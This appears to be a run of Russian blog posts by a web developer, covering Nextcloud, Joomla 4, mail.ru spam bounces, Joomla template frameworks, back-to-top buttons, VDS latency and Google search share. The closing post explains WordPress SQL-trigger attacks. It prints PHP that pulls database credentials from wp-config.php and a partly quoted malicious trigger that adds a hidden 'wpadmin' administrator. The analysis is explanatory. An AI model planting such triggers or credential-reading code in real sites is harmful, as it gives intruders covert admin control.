Всего несколько лет назад во многих организациях стандартом де-факто считался внутренний файлообменный сервер, метко названный пользователями «файлопомойкой», но сейчас требования изменились.
Файловый сервер должен быть доступен из любой точки мира и желательно на всех устройствах. В нем должен быть внутренний почтовый сервер, текстовый процессор, совместимый с Word, конференция (как текстовая, так и с видеозвонками), встроенный антивирус, предупреждение о запланированных событиях и так далее.
Кроме того, приложение должно быть совместимо со всеми устройствами и ОС, что бы никто из штата не мог сослаться на то, что ничего не видел и не слышал. Да, сейчас предлагается множество решений по аренде облака. Но когда объем данных и количество пользователей начинают зашкаливать, а вы – лишь простое бюджетное учреждение, приходится искать более доступные варианты.
Такое решение есть, и называется оно Nextcloud. Запустить его может любой администратор, который на базовом уровне знаком с Linux и построением сети.
17 августа, как ни странно, точно в обещанный срок вышла четвертая версия Joomla.
Новая версия разрабатывалась почти девять лет, срок достаточный для создания операционной системы. Сроки выхода релизов многократно переносились, но благополучный выпуск, наконец, случился.
Рассказать обо всех нововведениях в рамках одной статьи не получится, да и не имеет смысла.
Почти два года назад Joomla.org выкатила новость, за точность не поручусь, но общий смысл был примерно таков, - Мы начали работу на четвертой версией, альфа версию можно скачать прямо сейчас. К концу года будет доступна полноценная версия, во всей своей красе.
Что делать, и кто виноват? Частный случай уже рассматривался тут. Хорошо, если владельцу сайта приходит подобное сообщение:
Это сообщение было создано автоматически программным обеспечением доставки почты.
Отправленное вами сообщение не может быть доставлено одному или нескольким
получателям. Это постоянная ошибка. Не удалось выполнить следующие адреса:
***@mail.ru
хозяин mxs.mail.ru [94.100.180.104]
Ошибка SMTP с удаленного почтового сервера после окончания передачи данных:
550 спам-сообщений отклонено. Пожалуйста, посетите http://help.mail.ru/notspam-support/id?c=oMzLOaa3EBb7cN6t9-b6dOBJ_IU3bkOHXXxiDa6TDDkgAAAAvhsBAKHAbxY~ или сообщить подробности
39CBCCA01610B7A6ADDE70FB74FAE6F785FC49E087436E370D627C5D390C93AE. ID: 0000002000011BBE166FC0A1.
Статус доставки:
Отчетность-MTA: dns; vh312.timeweb.ru
Действие: не удалось
Конечный получатель: ***@mail.ru
Статус: 5.0.0
Remote-MTA: dns; mxs.mail.ru
Диагностический код: smtp; 550 спам-сообщений отклонено. Пожалуйста, посетите http://help.mail.ru/notspam-support/id?c=oMzLOaa3EBb7cN6t9-b6dOBJ_IU3bkOHXXxiDa6TDDkgAAAAvhsBAKHAbxY~ или сообщить подробности
Если коротко, mail.ru считает ваши письма спамом. И правильно делает, поскольку со спамом нужно бороться.
Чтобы почта не попадала под фильтры, нужно чтобы домен почты и домен сайта совпадали. Пример сайт site.com, почта info@ site.com. Конечно, все привыкли иметь основную почту, а не проверять несколько ящиков. Для этого и существует пересылка.
Коротко на примере Timeweb, у других провайдеров будет примерно также.

Заходим в панель управления, раздел «почта». Если ящика еще нет, создаем его. Переходим в настройки и добавляем основную почту в рассылки. Если у вас компания, и нужно контролировать ответы, то также добавляем основную почту в список исходящих. Все, почта с сайта теперь не потеряется, если конечно ваш домен не внесен в «черный список» за спам рассылку
Все меняется в этом мире, меняются технологии, меняются подходы (на заднем плане звучит мелодия «Время вперед!»). Сейчас тратить месяц на разработку довольно простого и небольшого сайта, слишком расточительно. Тем более, что цена такого проекта наверняка будет завышена по отношению к рыночной. Мы сейчас не говорим о крупных проектах с большой нагрузкой, где только на составление грамотного технического задания может уйти больше времени, чем на саму верстку.
Для Joomla на данное время существует два бесплатных фрамеворка, которые позволяют буквально за час-два создать свой шаблон с адаптивной вёрсткой. Это Helix и Astroid. Причем оба фрамеворка это далеко неповоротливые монстры, по результатам Google PageSpeed оба набирают по 90 баллов. А это очень хороший показатель.
Что выбрать?
Можно попытаться объять необъятное и начать сравнивать по пунктам, что вряд ли, когда-нибудь прочитает. Тем более что общего очень много, как сжатие и объедение JS и CSS, компиляция SCSS в CSS, Bootstrap 4, поддержка Font Awesome, верстка практически любой сетки и так далее.
Документация
Для Helix Ultimate
Для Astroid
В чем разница?
У Helix есть определенный набор позиций модулей, которого по умолчанию хватит практически для всех случаев. Astroid позволяет неограниченное количество позиций. Плюс это или минус? Не знаю. Сомневаюсь, что кому то в реальной ситуации будет мало 20 позиций.
Кастомизация
Тут Astroid уходит далеко вперед, он позволяет кастомизировать практически все. Если Helix Ultimate из коробки предлагает только два варианта header, то Астроид не мелочась, предлагает шесть. То же касается цветов сайта, меняется все и вся. Больная тема Helix Ultimate, это меню, то есть оно конечно есть, и даже можно выбрать мобильное меню справа или слева. В Astroid только для настройки меню огромный раздел. Как и для цветов сайта.
Типографика
Astroid снова впереди, типографика у Helix весьма и весьма скромная. Helix более рассчитан на собственный Page Builder. Но делать на нем, например блог не имеет никакого смысла. Тем более как выводить материалы? Как формировать теги страниц, и ты ды и ты пы … Да и «рисовать» каждую страницу блога в Page Builder, еще то удовольствие.
Что проще?
Конечно Helix проще, Astroid требует понимания, то есть, рассчитан на более «продвинутого» пользователя.
Page Builder
У Astroid никаких бесплатных версий этого конструктора, у Helix бесплатная версия имеется. Она, конечно, ограничена, но если вы понимаете в верстке, ее хватит, что называется «за глаза». Если не хватит, платная версия стоит всего 49 долларов. Не астрономическая сумма, можно и купить.
Подводя черту
Если совсем коротко что выбрать, то это Astroid с бесплатным Page Builder от Helix.
Хотя сейчас вышел Helix Ultimate 2.0 Alpha 7, возможно во второй версии чаша весов склонится к Helix
Она же кнопка вернутся «наверх страницы». Архиполезная вещь, появилась, когда трафик с мобильных устройств, стал обгонять трафик с десктопа.
Ибо, длина страницы на мобильных получалась большой, поскольку в главную страницу по тем требованиям СЕО пытались упихать все, что можно, а чтобы вернутся к верху страницы, где было меню, приходилось, ну очень долго «прокручивать» вверх. И даже если меню всегда было сверху, нужно было ждать перезагрузки страницы.
Чуть позднее конечно появилось другое архиважное изобретение. Как меню, приклеенное к верхней части экрана. Но кнопка «вверх» де-факто стала стандартом. Кнопка всегда располагалась в правом, нижнем углу. И не просто так, а потому, что так устроена наша рука. Так на нее (кнопку) проще всего кликнуть, держа телефон в одной руке. И даже, если в правом, нижнем углу «висит» чат, типа «напишите нам, мы онлайн», кнопка «наверх» делается правее.
Вроде как просто? Ошибаетесь. Все начали заново изобретать кнопку.
В Яндекс почте это правый, верхний угол. В меню, между прочим.
На Хабре, это такая полупрозрачная кнопочка, в центре с левой стороны экрана.
То есть там, где эту кнопку точно искать не будут.
Можно ли сделать квадратный унитаз? Наверное, можно. Будет ли это удобно? Нет конечно.
Предлагаю принудительно ставить такие унитазы всем изобретателям подобных решений. В особо запущенных случаях предлагаю унитазы изобретателям прикручивать на потолок. Далее по полету фантазии. Типа и в туалет сходил, если конечно допрыгнул, и сразу помылся.
Многие перейдя на на VDS, начинают замечать, что сайт начал работать намного медленнее, хотя и цена возросла. И сервер вроде свой.
Не все понимают терминологию. Есть VDS, это такой виртуальный сервер, который работает на физическом сервере, вернее так, на одном физическом сервере может быть запущено очень много виртуальных серверов. Основное отличие от обычного хостинга, что вы практически ничем не ограничены. В смысле в настройках. Вы можете открывать, закрывать порты, ставить любой софт.
А в чем же тогда подвох? Суть проста, VDS, по сути это та же коммунальная квартира, но в отличие от хостинга с более широкими привилегиями. То есть, вы вроде как вольны делать все, что заблагорассудиться, но все равно будете зависеть от соседей. Если тетя Клава утром заняла ванную комнату, то пока она оттуда не выйдет, воспользоваться услугой будет не возможно.
То же самое с VDS, конечно многое зависит от настроек, но узкие места все равно остаются. Как, на парочку ваших соседей по серверу обрушилась DDOS атака, IP адрес у всех разный, но порт все равно один. Если даже к вашему подъезду нет очереди, а подход к дому забит, вам придется стоять в очереди. Почти по Булгакову …
Вернёмся к TTFB, дословно это (Time to First Bite) время ответа до первого байта. И если заказываете VDS, то не поленитесь взять сервер на тест, сейчас все провайдеры предоставляют эту услугу. И понаблюдайте в консоли время TTFB.

Иногда можно увидеть даже такую аномалию. Сервер думал почти 11 секунд. Провайдера назвать не буду.
Это моё личное и предвзятое мнение, хотя основанное на статистике. Итак, опять, по этой же самой статистике почти 70% приходит с мобильных устройств. И это тенденция.
Далее, к гадалке в статистику не ходи, понятно что подавляющее большинство мобильных устройств работает под Андроид. И по умолчанию в Андроиде стоит поисковая система Google. Неожиданно, да? А чего вы хотели? Что мега корпорация просто так, от доброты душевной поддерживает свою операционку? Нет, конечно, производители мобильных, в большинстве своем, что-то выплачивают «корпорации добра», но основной доход, этой самой корпорации связан с поиском. Вернее с рекламой в поиске.
Ну и далее по тексту. Практически во всем мире, что у нас, и что не у нас, никто не меняет поисковую систему по умолчанию.
А какой из этого следует сделать вывод? Правильно, что практически 70% посетителей на ваш сайт придут именно через Гугл, а не через какие либо другие поисковые системы.
Поэтому при продвижении сайта Google должен быть в приоритете.
Как говорил один кино герой, это просто бизнес, ничего личного …
В прошлом году наметилась тенденция использования SQL-триггеров для атак на сайты под управлением Wordpress. Обнаружение таких взломов проблематично, поскольку большинство инструментов по очистке сайтов базируется на проверке файлов или их изменении. Изменения, внесённые в базу не проверят практически не один сканер.
Справка, триггер — это хранимая процедура, которая не вызывается непосредственно, а исполняется при наступлении определенного события ( вставка, удаление, обновление строки ).
Поддержка триггеров в MySQL началась с версии 5.0.2
WordPress, как подавляющее количество современных сайтов использует базу, например MySQL. За соединение с базой отвечает файл wp-config.php. Если получить к нему доступ, то можно вносить в базу какие угодно изменения, например создание пользователя с правами администратора.
Код, приведенный ниже, является бэкдором, позволяющий выполнить практически любой запрос.
$wpConfigString = file_get_contents($wpConfigPath);
//preg_match_all("~(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)',\s+'(.+)'\s*\);~", $wpConfigString, $dbhost);
preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s+[\'\"](.+)[\'\"]\s*\);~m", $wpConfigString, $dbhost);
preg_match("~table_prefix\s+=\s+'(.+)';~", $wpConfigString, $prefix);
$dbname = $dbhost[2][0];
$dbuser = $dbhost[2][1];
$dbpassword = $dbhost[2][2];
$dbhostaddr = $dbhost[2][3];
$dbprefix = $prefix[1];
Компания sucuri.net недавно обнародовала следующий вредоносный код внедрямый в таблицу.
Триггер проверяет столбец comment_content в базе данных wp_comments. Не имеет значения, одобрен ли комментарий или находится в ожидании. Как только SQL-триггер активен, он вставляет вредоносного администратора пользователя wpadmin с поддельной датой регистрации 2014-06-08 и адресом электронной почты wp-security@hotmail[.]com.
Trigger: after_insert_comment
Event: INSERT
Table: wp_comments
Statement: BEGIN
IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `wordpress`.`wp_users`);
SET @nextWpUsersID = @lastInsertWpUsersId + 1;
INSERT INTO `wordpress`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin',
Послесловие.
Такие виды атак очень сложно определить, используя инструменты автоматического сканирования. А «ручной» анализ базы может занять много времени.

Наметившаяся в последнее время тенденция использование Page Builder, значительно увеличивает сайта, в том числе базы. Обычно косвенным признаком взлома может служить создания еще одного администратора базы
Немного сумбурно, но если будет время и желание, перепишу.
Досвидонья!